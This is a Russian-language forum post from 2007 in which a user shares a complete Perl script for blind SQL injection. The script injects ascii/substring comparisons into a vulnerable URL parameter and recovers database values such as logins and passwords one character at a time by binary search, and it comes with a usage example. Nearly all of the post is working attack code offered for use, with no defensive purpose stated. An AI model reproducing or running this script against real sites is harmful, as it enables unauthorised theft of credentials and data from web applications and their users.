
24.01.2007, 16:48
|
|
Познающий
Регистрация: 16.01.2007
Сообщений: 37
Провел на форуме: 164161
Репутация:
20
|
|
У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебираетъ
r57_sql_ocb.pl кажетсо, вот код
Код:
#!/usr/bin/perl
# r57sql_ocb.pl
# sql-databases one char bruteforce tool
use LWP::UserAgent;
$path = $ARGV[0]; # запрос с уязвимому скрипту с параметром
$query = $ARGV[1]; # запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()
$s_num = $ARGV[2]; # позиция символа который перебираем
$string = $ARGV[3]; # строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД
if (@ARGV < 4) { &usage; }
# диапазон символов для перебора
$min = $ARGV[4] || 97; # a
$max = $ARGV[5] || 122; # z
&found($min,$max);
# подпрограмма уменьшения диапазона символов
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
# если диапазон менее 5 символов то переходим к перебору
if (($fmax-$fmin)<5) { &crack($fmin,$fmax); }
# иначе находим середину диапазона
print "-> Try $fmin .. $fmax -> ";
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";
# проверяем ответ скрипта и в зависимости от возвращенного результата
# рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
else { print "Char < $r\r\n"; &found($fmin,$r+1); }
}
# подпрограмма поиска перебором
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
# проходим циклом по диапазону
while ($i<$cmax)
{
$crcheck = "=$i";
print "-> Try $i ->";
# проверяем ответ скрипта, если ответ положительный то выводим символ и выходим
if ( &check($crcheck) ) { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
else { print " NO =(\r\n"; }
$i++;
}
print "NOT FOUND"; exit();
}
# подпрограмма проверки результата запроса
sub check($)
{
$ccheck = $_[0];
# формируем запрос к скрипту
$http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
# отправляем запрос
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
# получаем ответ сервера
@results = $res->content;
foreach $result(@results)
{
# ищем в ответе скрипта строку совпадающую с нашим условием
if ($result =~ /$string/) { return 1; }
}
return 0;
}
sub usage
{
print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] [return_string] [brute_min_char] [brute_max_char]\r\n";
print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
exit();
}
|
|
|